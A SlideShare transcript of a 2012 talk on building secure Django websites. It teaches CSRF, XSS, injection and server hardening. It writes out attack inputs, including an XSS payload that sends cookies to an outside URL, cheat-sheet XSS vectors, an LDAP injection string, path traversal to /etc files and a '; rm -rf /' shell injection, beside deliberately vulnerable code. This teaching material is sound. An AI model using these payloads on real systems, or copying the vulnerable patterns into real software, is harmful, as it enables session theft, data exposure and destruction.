• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Building secure Django websites
 

Building secure Django websites

on

  • 3,892 views

Presentation for the Dutch Django meet up in early 2012.

Presentation for the Dutch Django meet up in early 2012.

Statistics

Views

Total Views
3,892
Views on SlideShare
3,891
Embed Views
1

Actions

Likes
7
Downloads
0
Comments
0

1 Embed 1

https://www.linkedin.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • bankruptcy after 18 days\nsimple malware, weak passwords\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • CSRF cookie secure is new in development version\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • young and tender bamboo\n
  • \n
  • young and tender bamboo\n
  • \n
  • with xss, no need to own either website\n
  • \n
  • don’t trust headers/cookies, JS disabling\ndon’t pass important parameters\n
  • don’t trust headers/cookies, JS disabling\ndon’t pass important parameters\n
  • don’t trust headers/cookies, JS disabling\ndon’t pass important parameters\n
  • don’t trust headers/cookies, JS disabling\ndon’t pass important parameters\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • keep the backupserver w/ readonly access\n
  • keep the backupserver w/ readonly access\n
  • keep the backupserver w/ readonly access\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n

Building secure Django websites Building secure Django websites Presentation Transcript

  • Building secure Django websites Erik Romijn erik@erik.io @erikpubWednesday, February 15, 12
  • What is security?Wednesday, February 15, 12
  • Wednesday, February 15, 12
  • What is security? Integrity Confidentiality AvailabilityWednesday, February 15, 12
  • What can go wrong?Wednesday, February 15, 12
  • Wednesday, February 15, 12
  • VAServWednesday, February 15, 12
  • How cookies and sessions workWednesday, February 15, 12
  • Cookies Name Data Domain PathWednesday, February 15, 12
  • Sessions Sessions are tracked using a session ID: a secret and unpredictable string Session ID is stored in a cookie If I have your session ID, I have your sessionWednesday, February 15, 12
  • Some notes on sessions Usually, sessions are database-backed Database is safe: it can not be directly controlled by the client New in Django 1.4: cookie-based sessionsWednesday, February 15, 12
  • Cross Site Request ForgingWednesday, February 15, 12
  • All What is CSRF ex amp is n les! Dja ot v ngo uln erab con le Trick the user’s browser into opening a page on another website, using the user’s session <img src=”https://accounts.google.com/Logout” /> <img src=”http://djangocon.eu/cancel_ticket_confirm” /> <img src=”http://192.168.0.1/set_password?p=hamster” /> Possible with POST as wellWednesday, February 15, 12
  • Django’s CSRF protection Use POST for requests that have side effects... ... and Django will protect you Adds a secret csrf_token to every form Validates the token for every submit Limitation: subdomains can circumvent CSRF protectionWednesday, February 15, 12
  • XSS injectionWednesday, February 15, 12
  • Practical example Basic email form using GET I enter cavia as my email address The form returns an error: The email address “cavia” is not a valid email addressWednesday, February 15, 12
  • Practical example Basic email form using GET I enter <b>cavia as my email address The form returns an error: The email address “cavia” is not a valid email addressWednesday, February 15, 12
  • Mo cku Practical example is n p! d ot v jang uln oco erab n.eu le! Basic email form using GET I enter <script>alert(document.cookie)</script>cavia as my email address The form returns an error: The email address “cavia” is not a valid email addressWednesday, February 15, 12
  • Practical example Basic email form using GET I enter <script>$(’img’)[0].attr(’src’, ‘http://erik.io/xss? cookie=’+document.cookie)</script>cavia as my email address The form returns an error: The email address “cavia” is not a valid email address I now have all the cookies and can steal your sessionWednesday, February 15, 12
  • GET params need not to be forms http://9292.nl/reisadvies/station-weesp/station- amsterdam-centraal/vertrek/2012-01-05T1000 (not vulnerable)Wednesday, February 15, 12
  • Reflected vs. stored XSS Previous examples are reflected XSS Have to trick the user into visiting my link Other possibility is stored XSS Store some data which is later sent back to users, e.g. blog comments Rarer, but much more powerfulWednesday, February 15, 12
  • What to do against XSS Two layers of protection: Escaping in output Set cookies to HTTPOnly and disable TRACEWednesday, February 15, 12
  • Escaping in output Django escapes template tag output by default Use |safe if you want it disabled Not foolproof: <a class={{ var }}>...</a> Only handles <>’”&Wednesday, February 15, 12
  • Cookie security HTTPOnly flag will prevent reading cookie from JS Other attack is Cross Site Tracing (XST): disable TRACE on your web server Note: if cookie domain is set to e.g. djangocon.eu, every website under djangocon.eu is a riskWednesday, February 15, 12
  • Cookie security in Django SESSION_COOKIE_ HTTPONLY Default True in 1.4 If always HTTPS: CSRF_COOKIE_SECURE and SESSION_COOKIE_ SECUREWednesday, February 15, 12
  • http://djangosnippets.org/snippets/295/Wednesday, February 15, 12
  • http://ha.ckers.org/xss.htmlWednesday, February 15, 12
  • <IMG SRC="jav&#x0D;ascript:alert(XSS);">Wednesday, February 15, 12
  • <IMG STYLE="xss:expr/*XSS*/ ession(alert(XSS))">Wednesday, February 15, 12
  • <TABLE BACKGROUND="javascript:alert(XSS)">Wednesday, February 15, 12
  • body { background-image: url(javascript:alert("XSS");) }Wednesday, February 15, 12
  • Server side injectionsWednesday, February 15, 12
  • Server side injections Any place where you send data to another system is a risk SQL, LDAP, XPATH, shell calls, file paths, email headers... Always escapeWednesday, February 15, 12
  • SQL injection No concern, Django ORM does all the proper escaping If you don’t use it, stick to prepared statementsWednesday, February 15, 12
  • LDAP injection ldap_query = “(&(uid=”+user+”)(userPassword=”+password+”))” Login form checks for any rows returnedWednesday, February 15, 12
  • LDAP injection ldap_query = “(&(uid=”+user+”)(userPassword=”+password+”))” Open with user erik and password capibara ldap_query = “(&(uid=erik)(userPassword=capibara))”Wednesday, February 15, 12
  • LDAP injection ldap_query = “(&(uid=”+user+”)(userPassword=”+password+”))” Open with user admin)(uid=*))(|(uid=* and password capibara ldap_query = “(&(uid=admin)(uid=*))(|(uid=*) (userPassword=capibara))”Wednesday, February 15, 12
  • Path traversal result = open(’/data/’+request.GET[’id’]+’ .txt’).read() Result is later returned to the browserWednesday, February 15, 12
  • Path traversal result = open(’/data/’+request.GET[’id’]+’.txt’).read() Open with id 12 result = open(’/data/12.txt’).read()Wednesday, February 15, 12
  • Path traversal result = open(’/data/’+request.GET[’id’]+’.txt’).read() Open with id ../../etc/secret_file result = open(’/data/../../etc/secret_file.txt’).read()Wednesday, February 15, 12
  • Path traversal: PHP readfile(’/data/’+$_GET[’id’]+’.txt’) Open with id ../../etc/password%00 readfile(’/data/../../etc/password␀.txt’)Wednesday, February 15, 12
  • Shell injection files = os.popen(”ls ”+request.GET[’path’])Wednesday, February 15, 12
  • Shell injection files = os.popen(”ls ”+request.GET[’path’]) Open with path / files = os.popen(”ls /”)Wednesday, February 15, 12
  • Shell injection files = os.popen(”ls ”+request.GET[’path’]) Open with path /; rm -rf / files = os.popen(”ls /; rm -rf /”)Wednesday, February 15, 12
  • Shell injection Always use subprocess: files = subprocess.call([”ls”, request.GET[’path’]]) But not like this: files = subprocess.call([”ls ”+request.GET[’path’]], shell=True) Beware of the argument parsing of the scriptWednesday, February 15, 12
  • Validation vs escapingWednesday, February 15, 12
  • White Validation vs escaping prefer listing red ov blackl er isting Preventing special Checking whether the characters from causing input is valid trouble A postal code must be Different set of characters ^d{4}[A-Z]{2}$ for every system (SQL, HTML, ...) Done as early as possible Done as late as possibleWednesday, February 15, 12
  • Other security issuesWednesday, February 15, 12
  • Clickjacking http://www.hacker9.com/clickjacking-attack-things-you-must-know.htmlWednesday, February 15, 12
  • Clickjacking & Django Protection in Django 1.4 django.middleware.clickjacking .XFrameOptionsMiddleware Recommended: X_FRAME_OPTIONS = DENYWednesday, February 15, 12
  • Jav coo The browser You scr kie ipt va ... lid s, . ati on ,Wednesday, February 15, 12
  • Don’t trust the browser def order_list(request): orders = Order.objects.filter(user=request.user) return render_to_response(order_list.html, { "order_list": orders, }) @require_POST def cancel_order(request, order_id): order = get_object_or_404(Order, pk=order_id) order.status = "CANCELLED" order.save() return HttpResponseRedirect(reverse(dashboard))Wednesday, February 15, 12
  • Don’t trust the browser def order_list(request): orders = Order.objects.filter(user=request.user) return render_to_response(order_list.html, { "order_list": orders, }) @require_POST def cancel_order(request, order_id): order = get_object_or_404(Order, pk=order_id) order.status = "CANCELLED" order.save() return HttpResponseRedirect(reverse(dashboard))Wednesday, February 15, 12
  • Don’t trust the browser def order_list(request): orders = Order.objects.filter(user=request.user) return render_to_response(order_list.html, { "order_list": orders, }) @require_POST def cancel_order(request, order_id): order = get_object_or_404(Order, pk=order_id, user=request.user) order.status = "CANCELLED" order.save() return HttpResponseRedirect(reverse(dashboard))Wednesday, February 15, 12
  • Security testing def test_update_succeeds: response = self.util_url_check(url, require_login=True) def test_update_fails_without_auth: # attempt to edit without being authorised for this object response = self.util_url_check(url, require_login=True, expected_code=404) def test_admin_activate: response = self.util_url_check(url, require_staff=True)Wednesday, February 15, 12
  • Traceback (most recent call last): File "/usr/lib/python/site-packages/django/core/servers/basehttp.py", line 219, in run self.result = application(self.environ, self.start_response) File "/usr/lib/python/site-packages/django/core/servers/basehttp.py", line 631, in __call__ return self.application(environ, start_response) File "/usr/lib/python/site-packages/django/core/handlers/wsgi.py", line 201, in __call__ response = self.get_response(request) File "/usr/lib/python/site-packages/django/core/handlers/base.py", line 134, in get_response return debug.technical_404_response(request, e) File "/usr/lib/python/site-packages/django/views/debug.py", line 255, in technical_404_response tried = exception.args[0][tried] KeyError: tried [1/Jan/2012 10:51:26] "GET http://proxyjudge1.proxyfire.net/fastenv HTTP/1.1" 500 877Wednesday, February 15, 12
  • Server securityWednesday, February 15, 12
  • Backups Who runs backups? Who runs restores? Who keeps their backups with a different provider?Wednesday, February 15, 12
  • Web server config Disable TRACE Consider mod_security w/ OWAMP rules Don’t give anything away about software versions Don’t ever run Django in DEBUGWednesday, February 15, 12
  • Web server config Disable access to .hg, CVS, .svn, RCS, ... Disable access to /admin or at least rename it <Directory ~ “.svn”> Order allow,deny Deny from all </Directory> RedirectMatch 404 /.svn(/|$)Wednesday, February 15, 12
  • Other apps on same server You can be compromised through other apps too GEMnet was compromised by PHPMyAdmin without password Always restrict database access per app In case of domain cookies, this goes for any website under your domainWednesday, February 15, 12
  • SummaryWednesday, February 15, 12
  • Summary Django helps out with CSRF, SQL injection and XSS You need to take care of all other injection attacks Use the built-in Django security features Never trust the browser and anything it sends Don’t forget to secure the web server as wellWednesday, February 15, 12
  • Questions? Erik Romijn erik@erik.io @erikpubWednesday, February 15, 12